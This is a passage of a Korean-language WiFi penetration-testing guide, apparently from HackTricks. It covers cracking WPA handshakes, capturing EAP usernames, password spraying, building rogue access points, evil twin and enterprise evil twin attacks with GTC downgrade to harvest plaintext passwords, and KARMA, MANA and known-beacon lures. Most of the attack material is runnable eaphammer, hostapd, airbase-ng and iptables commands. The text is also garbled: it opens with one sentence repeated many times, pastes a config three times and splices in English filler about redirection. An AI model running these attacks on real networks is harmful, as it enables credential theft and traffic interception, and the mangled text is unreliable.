네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공

cowpatty -r psk-01.cap -s "ESSID" -f -

이 도구는 완료되지 않은 ESSID의 핸드셰이크를 완료된 핸드셰이크보다 먼저 찾으면 유효한 핸드셰이크를 감지하지 않습니다.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

기업용 WiFi 설정에서는 다양한 인증 방법을 사용하며, 각각 다른 보안 수준과 관리 기능을 제공합니다. airodump-ng와 같은 도구를 사용하여 네트워크 트래픽을 검사할 때, 이러한 인증 유형에 대한 식별자를 확인할 수 있습니다. 일반적인 방법 중 일부는 다음과 같습니다:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (일반 토큰 카드):
  • 이 방법은 하드웨어 토큰과 EAP-PEAP 내에서 일회용 비밀번호를 지원합니다. MSCHAPv2와 달리 피어 도전을 사용하지 않으며, 액세스 포인트로 암호를 평문으로 보내므로 다운그레이드 공격에 취약합니다.
  1. EAP-MD5 (메시지 다이제스트 5):
  • 클라이언트에서 비밀번호의 MD5 해시를 보내는 방식입니다. 사전 공격에 취약하며, 서버 인증의 부재와 세션별 WEP 키 생성 불가능으로 인해 권장되지 않습니다.
  1. EAP-TLS (전송 계층 보안):
  • 클라이언트 측과 서버 측 인증에 클라이언트 인증서와 서버 인증서를 모두 사용하며, 통신 보안을 위해 사용자 및 세션 기반 WEP 키를 동적으로 생성할 수 있습니다.
  1. EAP-TTLS (터널링된 전송 계층 보안):
  • 암호화된 터널을 통해 상호 인증을 제공하며, 사용자는 자격 증명을 사용하고 서버는 서버 인증서만 사용합니다.
  1. PEAP (보호된 확장 인증 프로토콜):
  • EAP와 유사한 방식으로 보호된 통신을 위해 TLS 터널을 생성합니다. 터널의 보호로 인해 약한 인증 프로토콜을 EAP 위에 사용할 수 있습니다.
  • PEAP-MSCHAPv2: PEAP로 자주 불리며, 취약한 MSCHAPv2 도전/응답 메커니즘과 보호된 TLS 터널을 결합합니다.
  • PEAP-EAP-TLS (또는 PEAP-TLS): EAP-TLS와 유사하지만 인증서 교환 전에 TLS 터널을 시작하여 추가적인 보안 계층을 제공합니다.

이러한 인증 방법에 대한 자세한 정보는 여기여기에서 확인할 수 있습니다.

사용자 이름 캡처

https://tools.ietf.org/html/rfc3748#page-27을 읽어보면 EAP을 사용하는 경우 "Identity" 메시지지원되어야 하며, 사용자 이름"Response Identity" 메시지에서 평문으로 전송됩니다.

가장 안전한 인증 방법 중 하나인 PEAP-EAP-TLS를 사용하더라도, EAP 프로토콜에서 전송되는 사용자 이름을 캡처할 수 있습니다. 이를 위해 인증 통신을 캡처하고 (airodump-ng를 채널 내에서 시작하고 동일한 인터페이스에서 wireshark를 실행) 패킷을 eapol로 필터링하십시오.
"Response, Identity" 패킷 내에 클라이언트의 사용자 이름이 표시됩니다.

익명 신원

EAP-PEAP 및 EAP-TTLS 모두 익명 신원을 지원합니다. WiFi 네트워크의 맥락에서 EAP-Identity 요청은 일반적으로 연결 프로세스 중에 액세스 포인트(AP)에 의해 시작됩니다. 사용자의 익명성 보호를 위해 사용자 장치의 EAP 클라이언트로부터의 응답은 요청을 처리하기 위해 초기 RADIUS 서버에 필요한 필수 정보만 포함합니다. 이 개념은 다음 시나리오를 통해 설명됩니다:

  • EAP-Identity = anonymous
  • 이 시나리오에서 모든 사용자는 익명의 "anonymous"를 사용자 식별자로 사용합니다. 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하며, PEAP 또는 TTLS 프로토콜의 서버 측을 관리합니다. 그런 다음 내부(보호된) 인증 방법은 로컬에서 처리되거나 원격(홈) RADIUS 서버로 위임됩니다.
  • EAP-Identity = anonymous@realm_x
  • 이 상황에서 서로 다른 영역의 사용자는 자신들의 신원을 숨기면서 각각의 영역을 나타냅니다. 이를 통해 초기 RADIUS 서버는 사용자의 홈 영역의 RADIUS 서버로 EAP-PEAP 또는 EAP-TTLS 요청을 프록시할 수 있으며, 이 서버는 PEAP 또는 TTLS 서버로 작동합니다. 초기 RADIUS 서버는 단지 RADIUS 릴레이 노드로 작동합니다.

  • 또는 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하고 보호된 인증 방법을 처리하거나 다른 서버로 전달할 수 있습니다. 이 옵션은 다양한 영역에 대한 별도의 정책을 구성하는 데 도움이 됩니다.

EAP-PEAP에서 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면 PEAP 서버는 EAP-Identity 요청을 시작하고 TLS 터널을 통해 전송합니다. 클라이언트는 이 두 번째 EAP-Identity 요청에 대해 암호화된 터널을 통해 사용자의 실제 신원을 포함한 EAP-Identity 응답을 보냅니다. 이 접근 방식은 802.11 트래픽을 도청하는 사람에게 사용자의 실제 신원을 공개하지 않도록 효과적으로 방지합니다.

EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서 클라이언트는 일반적으로 TLS 터널로 보호된 PAP 또는 CHAP를 사용하여 인증합니다. 이 경우 클라이언트는 터널 설정 후 초기 TLS 메시지에서 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다.

선택한 프로토콜에 관계없이 PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 신원을 알 수 있습니다. 실제 신원은 사용자@영역 또는 단순히 사용자로 표시될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우 이제 사용자의 신원을 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버는 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 발신 RADIUS 메시지의 User-Name 속성에는 익명 User-Name이 들어오는 RADIUS 요청에서 실제 사용자 식별자로 대체된 사용자의 실제 신원이 포함됩니다. 보호된 인증 방법이 PAP 또는 CHAP인 경우 (TTLS에서만 지원), TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 들어오는 RADIUS 요청에서 익명 User-Name 및 TTLS EAP-Message 속성을 대체하는 발신 RADIUS 메시지에 대체됩니다.

자세한 내용은 여기를 참조하십시오.

EAP-브루트포스 (패스워드 스프레이)

클라이언트가 사용자 이름과 비밀번호를 사용하는 것으로 예상된다면 (EAP-TLS는 이 경우 유효하지 않음에 유의), 사용자 이름 목록 (다음 부분 참조)과 비밀번호를 얻어서 air-hammer를 사용하여 액세스를 **브루트포스

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

eaphammer를 사용하여이 공격을 수행할 수도 있습니다.

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

클라이언트 공격 이론

네트워크 선택 및 로밍

  • 802.11 프로토콜은 스테이션이 확장된 서비스 세트(ESS)에 참여하는 방법을 정의하지만, ESS를 선택하거나 그 안의 액세스 포인트(AP)를 선택하는 기준은 명시하지 않습니다.
  • 스테이션은 동일한 ESSID를 공유하는 AP 간에 로밍할 수 있으며, 건물이나 지역 전체에서 연결을 유지합니다.
  • 이 프로토콜은 스테이션 인증을 ESS에 요구하지만, AP 인증을 스테이션에 요구하지는 않습니다.

선호 네트워크 목록 (PNLs)

  • 스테이션은 연결한 모든 무선 네트워크의 ESSID를 선호 네트워크 목록 (PNL)에 저장하며, 네트워크별 구성 세부 정보도 함께 저장합니다.
  • PNL은 알려진 네트워크에 자동으로 연결하여 연결 프로세스를 간소화하여 사용자 경험을 향상시키는 데 사용됩니다.

수동 스캔

  • AP는 주기적으로 비콘 프레임을 브로드캐스트하여 자신의 존재와 기능을 알립니다. 이때 AP의 ESSID도 알립니다 (브로드캐스트가 비활성화되지 않은 경우).
  • 수동 스캔 중에 스테이션은 비콘 프레임을 수신 대기합니다. 비콘의 ESSID가 스테이션의 PNL 항목과 일치하는 경우, 스테이션은 해당 AP에 자동으로 연결할 수 있습니다.
  • 장치의 PNL 정보를 알고 있다면, 알려진 네트워크의 ESSID를 모방하여 장치가 악의적인 AP에 연결되도록 속일 수 있습니다.

액티브 프로빙

  • 액티브 프로빙은 스테이션에서 근처 AP를 탐지하기 위해 프로브 요청을 보내는 것을 의미합니다.
  • 지정된 ESSID를 대상으로 하는 프로브 요청은 특정 네트워크가 범위 내에 있는지 여부를 감지하는 데 도움이 됩니다 (숨겨진 네트워크인 경우에도).
  • 브로드캐스트 프로브 요청은 null SSID 필드를 가지며, 주변의 모든 AP에게 전송되어 스테이션은 PNL 내용을 공개하지 않고 선호하는 네트워크를 확인할 수 있습니다.

인터넷으로의 리디렉션을 하는 간단한 AP

더 복잡한 공격을 수행하는 방법을 설명하기 전에, AP를 생성하고 그 트래픽을 인터넷에 연결된 인터페이스로 리디렉션하는 방법에 대해 설명하겠습니다.

ifconfig -a를 사용하여 AP를 생성할 wlan 인터페이스와 인터넷에 연결된 인터페이스가 있는지 확인하세요.

DHCP 및 DNS

apt-get install dnsmasq #Manages DHCP and DNS

/etc/dnsmasq.conf 파일을 생성하세요:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

그런 다음 IP 주소경로를 설정하십시오:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

그리고 dnsmasq를 시작합니다:

dnsmasq -C dnsmasq.conf -d

hostapd

hostapd는 Linux 시스템에서 사용되는 Wi-Fi 액세스 포인트(AP) 소프트웨어입니다. 이 도구를 사용하면 컴퓨터를 Wi-Fi 액세스 포인트로 변환하여 다른 기기가 해당 컴퓨터에 연결할 수 있도록 할 수 있습니다. hostapd는 다양한 Wi-Fi 보안 프로토콜을 지원하며, 사용자는 이를 통해 액세스 포인트의 설정을 관리할 수 있습니다.

hostapd는 일반적으로 펜테스팅 작업에서 사용됩니다. 펜테스터는 hostapd를 사용하여 테스트 환경에서 Wi-Fi 네트워크를 구축하고, 클라이언트 기기가 해당 네트워크에 연결할 때 발생하는 보안 취약점을 식별하고 분석할 수 있습니다.

hostapd는 다양한 설정 옵션을 제공하며, 이를 통해 액세스 포인트의 동작을 세밀하게 제어할 수 있습니다. 또한, hostapd는 로그 파일을 생성하여 펜테스터가 액세스 포인트의 활동을 추적하고 문제를 해결할 수 있도록 도와줍니다.

hostapd는 Wi-Fi 펜테스팅 작업에서 중요한 도구로 사용되며, 펜테스터는 이를 통해 네트워크 보안 취약점을 식별하고 해결할 수 있습니다.

apt-get install hostapd

hostapd.conf 파일을 생성하세요:

interface=wlan0
driver=nl80211
ssid=MyWiFiNetwork
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
interface=wlan0
driver=nl80211
ssid=MyWiFiNetwork
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

짜증나는 프로세스를 중지하고, 모니터 모드를 설정하고, hostapd를 시작합니다.

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

전달과 리다이렉션

Forwarding and redirection are techniques used in network communication to redirect traffic from one destination to another. These techniques are commonly used in various scenarios, including pentesting and network troubleshooting.

Port Forwarding

Port forwarding is a technique used to redirect network traffic from one IP address and port to another. It is often used to expose services running on internal networks to the internet. By configuring port forwarding, you can redirect incoming traffic from a specific port on your router to a specific IP address and port on your internal network.

Port forwarding can be useful during pentesting when you want to access services running on a target network from an external network. By forwarding the target's port to your local machine, you can interact with the services as if they were running on your own network.

URL Redirection

URL redirection is a technique used to redirect web traffic from one URL to another. It is commonly used for website maintenance, rebranding, or when a website has moved to a new domain. URL redirection can be implemented using HTTP status codes, such as 301 (Moved Permanently) or 302 (Found).

During pentesting, URL redirection can be exploited to perform phishing attacks or to bypass security controls. By manipulating the redirection mechanism, an attacker can trick users into visiting malicious websites or accessing unauthorized resources.

DNS Redirection

DNS redirection is a technique used to redirect DNS queries from one domain to another. It involves modifying the DNS records of a domain to point to a different IP address. DNS redirection can be used for legitimate purposes, such as load balancing or content delivery networks (CDNs). However, it can also be abused by attackers to redirect users to malicious websites or intercept their traffic.

During pentesting, DNS redirection can be leveraged to perform DNS spoofing attacks or to redirect traffic to attacker-controlled servers. By manipulating the DNS records, an attacker can redirect users to fake websites or intercept their communications.

Conclusion

Forwarding and redirection techniques are powerful tools in network communication. While they have legitimate uses, they can also be exploited by attackers during pentesting or for malicious purposes. It is important to understand these techniques and their potential risks to effectively secure networks and systems.

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

이블 트윈

이블 트윈 공격은 WiFi 클라이언트가 네트워크를 인식하는 방식을 악용하며, 주로 클라이언트가 기본 스테이션(액세스 포인트)이 자체를 인증하지 않고도 네트워크 이름(ESSID)에 의존합니다. 주요 포인트는 다음과 같습니다:

  • 구별의 어려움: 기기는 동일한 ESSID와 암호화 유형을 공유하는 경우에 정상적인 액세스 포인트와 가짜 액세스 포인트를 구별하기 어렵습니다. 현실 세계의 네트워크는 종종 동일한 ESSID를 가진 여러 액세스 포인트를 사용하여 무리없이 커버리지를 확장합니다.

  • 클라이언트 로밍 및 연결 조작: 802.11 프로토콜은 기기가 동일한 ESS 내의 액세스 포인트 사이에서 로밍할 수 있도록 합니다. 공격자는 이를 악용하여 기기를 현재의 기본 스테이션에서 분리시키고 가짜 스테이션에 연결하게 할 수 있습니다. 이는 더 강한 신호를 제공하거나 디인증 패킷이나 재전송과 같은 방법을 통해 정상적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다.

  • 실행의 어려움: 여러 개의 잘 배치된 액세스 포인트가 있는 환경에서 이블 트윈 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 정상적인 액세스 포인트의 디인증 해제는 공격자가 모든 인근 액세스 포인트의 디인증을 해제하거나 가짜 액세스 포인트를 전략적으로 배치하지 않는 한 기기가 다른 정상적인 액세스 포인트에 연결되도록 합니다.

다음을 수행하여 매우 기본적인 오픈 이블 트윈(인터넷으로 트래픽을 라우팅할 수 있는 기능 없음)을 생성할 수 있습니다:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

eaphammer를 사용하여 악의적인 쌍둥이를 생성할 수도 있습니다 (eaphammer를 사용하여 악의적인 쌍둥이를 생성하려면 인터페이스가 모니터 모드가 아니어야 함에 유의하십시오):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

또는 Airgeddon을 사용하여 옵션: 5,6,7,8,9 (Evil Twin 공격 메뉴 내부).

기본적으로 PNL에 저장된 ESSID가 WPA로 보호되어 있다면 기기는 자동으로 Open Evil Twin에 연결되지 않습니다. 실제 AP를 DoS하여 사용자가 수동으로 Open Evil Twin에 연결하도록 할 수 있습니다. 또는 실제 AP를 DoS하고 WPA Evil Twin을 사용하여 핸드셰이크를 캡처할 수 있습니다 (이 방법을 사용하면 피해자가 PSK를 모르기 때문에 피해자가 연결할 수는 없지만 핸드셰이크를 캡처하고 크랙을 시도할 수 있습니다).

일부 운영체제와 AV는 사용자에게 Open 네트워크에 연결하는 것이 위험하다는 경고를 표시할 수 있습니다...

WPA/WPA2 Evil Twin

WPA/2를 사용하여 Evil Twin을 생성할 수 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 그러나 4-way-handshake를 완료하려면 클라이언트가 사용할 비밀번호를 알아야 합니다. 알지 못한다면 연결이 완료되지 않습니다.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

기업용 악성 쌍둥이

이 공격을 이해하기 위해서는 먼저 WPA Enterprise 설명을 간략히 읽는 것을 권장합니다.

hostapd-wpe 사용

hostapd-wpe는 작동하기 위해 구성 파일이 필요합니다. 이러한 구성을 자동화하기 위해 https://github.com/WJDigby/apd_launchpad를 사용할 수 있습니다 ( /etc/hostapd-wpe/ 내부의 파이썬 파일을 다운로드하세요).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

구성 파일에서는 ssid, 채널, 사용자 파일, 인증서/키, dh 매개변수, wpa 버전 및 인증과 같은 다양한 항목을 선택할 수 있습니다...

EAP-TLS를 사용하여 hostapd-wpe와 함께 모든 인증서로 로그인 허용하기

EAPHammer 사용하기

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

기본적으로, EAPHammer는 이러한 인증 방법을 사용합니다 (평문 암호를 얻기 위해 첫 번째로 GTC를 사용하고, 그 후에 더 견고한 인증 방법을 사용합니다):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

다음은 연결 시간이 길어지는 것을 피하기 위한 기본 방법론입니다. 그러나 약한 인증 방법부터 강력한 방법까지 서버에 지정할 수도 있습니다:

--negotiate weakest

또는 다음을 사용할 수도 있습니다:

  • --negotiate gtc-downgrade는 매우 효율적인 GTC 다운그레이드 구현(평문 암호)을 사용합니다.
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP는 수동으로 제공되는 방법을 지정합니다(공격 대상 조직과 동일한 인증 방법을 동일한 순서로 제공하면 감지하기가 훨씬 어려워집니다).
  • 위키에서 자세한 정보 찾기

Airgeddon 사용하기

Airgeddon은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공할 수 있습니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 사용자와 암호의 MD5를 캡처할 수 있습니다. 그런 다음 공격자는 암호를 크랙해 볼 수 있습니다.
Airggedon지속적인 이블 트윈 공격(소음이 많음) 또는 누군가 연결할 때까지 이블 공격만 생성(부드러움) 할 수 있는 기능을 제공합니다.

이블 트윈 공격에서 PEAP 및 EAP-TTLS TLS 터널 디버깅하기

이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을 복호화하고 있으므로 EAP-TTLS에서도 작동할 것으로 예상됩니다.

_hostapd-wpe_의 구성 내에서 _dh_file_을 포함하는 줄을 주석 처리합니다(dh_file=/etc/hostapd-wpe/certs/dh에서 #dh_file=/etc/hostapd-wpe/certs/dh로 변경).
이렇게 하면 hostapd-wpe가 DH 대신 RSA를 사용하여 키를 교환하므로 나중에 서버의 개인 키를 알고 있으면 트래픽을 복호화할 수 있습니다.

이제 수정된 구성을 사용하여 이블 트윈을 평소와 같이 **hostapd-wpe**로 시작합니다. 또한 이블 트윈 공격을 수행하는 인터페이스에서 **wireshark**를 시작합니다.

지금 또는 나중에 (인증 의도를 이미 캡처한 경우) 개인 RSA 키를 wireshark에 추가할 수 있습니다: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

새 항목을 추가하고 다음 값으로 양식을 작성합니다: IP 주소 = any -- Port = 0 -- Protocol = data -- Key File (키 파일을 선택하고 문제가 발생하지 않도록 키 파일을 암호로 보호하지 않도록 선택).

그리고 새로운 "Decrypted TLS" 탭을 확인하세요:

KARMA, MANA, Loud MANA 및 Known beacons 공격

ESSID 및 MAC 블랙/화이트리스트

로그 액세스 포인트(AP)의 동작에 대한 다양한 유형의 미디어 액세스 제어 필터 목록(MFACL) 및 해당 모드 및 효과:

  1. MAC 기반 화이트리스트:
  • 로그 AP는 화이트리스트에 지정된 장치의 프로브 요청에만 응답하여 나열되지 않은 모든 장치에게는 보이지 않습니다.
  1. MAC 기반 블랙리스트:
  • 로그 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여 해당 특정 장치에 대해 로그 AP가 보이지 않게 만듭니다.
  1. ESSID 기반 화이트리스트:
  • 로그 AP는 특정 ESSID만 포함된 프로브 요청에만 응답하여 선호하는 네트워크 목록(PNL)에 해당 ESSID가 포함되지 않은 장치에게는 보이지 않습니다.
  1. ESSID 기반 블랙리스트:
  • 로그 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으므로 해당 특정 네트워크를 찾는 장치에게는 보이지 않습니다.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

이 방법은 공격자가 모든 네트워크에 연결하려는 장치들의 프로브 요청에 응답하는 악성 액세스 포인트(AP)를 생성할 수 있게 해줍니다. 이 기술은 장치들이 찾고 있는 네트워크를 모방하여 장치들이 공격자의 AP에 연결하도록 속이는 것입니다. 장치가 이 위조된 AP에 연결 요청을 보내면 연결이 완료되어 장치가 실수로 공격자의 네트워크에 연결되게 됩니다.

MANA

그런 다음, 장치들은 무단으로 수신된 네트워크 응답을 무시하기 시작하여 원래의 카르마 공격의 효과가 감소되었습니다. 그러나 Ian de Villiers와 Dominic White가 소개한 새로운 방법인 MANA 공격은 등록된 네트워크 이름(SSIDs)에 대한 브로드캐스트 프로브 요청에 응답하여 장치로부터 선호하는 네트워크 목록(PNL)을 캡처하는 악성 AP를 사용합니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선순위를 지정하는 방식을 악용하여 원래의 카르마 공격에 대한 보호장치를 우회합니다.

MANA 공격은 장치로부터 직접적인 요청과 브로드캐스트 프로브 요청을 모두 모니터링합니다. 직접적인 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 목록에 추가합니다. 브로드캐스트 요청을 받으면 AP는 장치의 목록에 있는 어떤 네트워크와 일치하는 정보로 응답하여 장치가 악성 AP에 연결하도록 유인합니다.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

러우드 MANA

러우드 MANA 공격은 디바이스가 직접적인 프로빙을 사용하지 않거나 공격자에게 알려지지 않은 선호 네트워크 목록(PNL)을 사용하는 경우에 대한 고급 전략입니다. 이 공격은 동일한 지역에 있는 디바이스들이 PNL에서 일부 네트워크 이름을 공유할 가능성이 높다는 원리에 기반합니다. 이 공격은 선택적으로 응답하는 대신, 관찰된 모든 디바이스의 결합된 PNL에 있는 모든 네트워크 이름(ESSID)에 대해 프로브 응답을 브로드캐스트합니다. 이 넓은 접근 방식은 디바이스가 익숙한 네트워크를 인식하고 불법적인 액세스 포인트(AP)에 연결을 시도하는 가능성을 높입니다.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

알려진 비콘 공격

Loud MANA 공격이 충분하지 않을 때, 알려진 비콘 공격은 다른 접근 방식을 제시합니다. 이 방법은 단어 목록에서 파생된 잠재적인 ESSID 목록을 순환하며 어떤 네트워크 이름에도 응답하는 AP를 시뮬레이션하여 연결 과정을 무차별 대입합니다. 이는 다수의 네트워크의 존재를 시뮬레이션하며, 피해자의 PNL 내에서 ESSID와 일치하는 것을 찾아 가짜 AP로의 연결 시도를 유도합니다. 이 공격은 --loud 옵션과 결합하여 장치를 유인하기 위한 보다 공격적인 시도를 할 수 있습니다.

Eaphammer은 이 공격을 MANA 공격으로 구현하였으며, 목록 내의 모든 ESSID가 공격 대상이 됩니다 (Loud MANA + 알려진 비콘 공격을 만들기 위해 --loud와도 결합할 수 있습니다).

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

알려진 비콘 버스트 공격

알려진 비콘 버스트 공격파일에 나열된 각 ESSID에 대해 비콘 프레임을 빠르게 브로드캐스트하는 것을 포함합니다. 이는 가짜 네트워크의 밀도가 높은 환경을 만들어주며, 특히 MANA 공격과 결합될 때 로그 AP에 연결되는 기기의 가능성을 크게 향상시킵니다. 이 기술은 속도와 양을 활용하여 기기의 네트워크 선택 메커니즘을 압도하는 데에 사용됩니다.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 기기들이 직접 연결할 수 있는 프로토콜입니다. 이 기능은 프린터 및 텔레비전과 같은 다양한 사물 인터넷(IoT) 기기에 통합되어 기기 간 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할만한 특징은 한 기기가 연결을 관리하기 위해 액세스 포인트인 그룹 소유자 역할을 맡는다는 것입니다.

Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정됩니다. WPS는 다음과 같은 안전한 페어링 방법을 지원합니다:

  • Push-Button Configuration (PBC)
  • PIN 입력
  • 근거리 통신 (NFC)

특히 PIN 입력과 같은 이러한 방법은 전통적인 Wi-Fi 네트워크의 WPS와 동일한 취약점에 취약하므로 유사한 공격 벡터의 대상이 됩니다.

EvilDirect Hijacking

EvilDirect Hijacking은 Wi-Fi Direct에 특화된 공격입니다. 이는 Evil Twin 공격의 개념을 반영하면서 Wi-Fi Direct 연결을 대상으로 합니다. 이 시나리오에서 공격자는 정상적인 그룹 소유자를 가장하여 기기들이 악성 개체에 연결되도록 속이는 것을 목표로 합니다. 이 방법은 airbase-ng와 같은 도구를 사용하여 채널, ESSID 및 가장된 기기의 MAC 주소를 지정하여 실행할 수 있습니다:

참고 자료

TODO: https://github.com/wifiphisher/wifiphisher를 확인하세요 (Facebook으로 로그인하고 포털 캡티브에서 WPA를 모방)

경험 많은 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 인사이트
해킹의 스릴과 도전을 다루는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기!

HackTricks를 지원하는 다른 방법: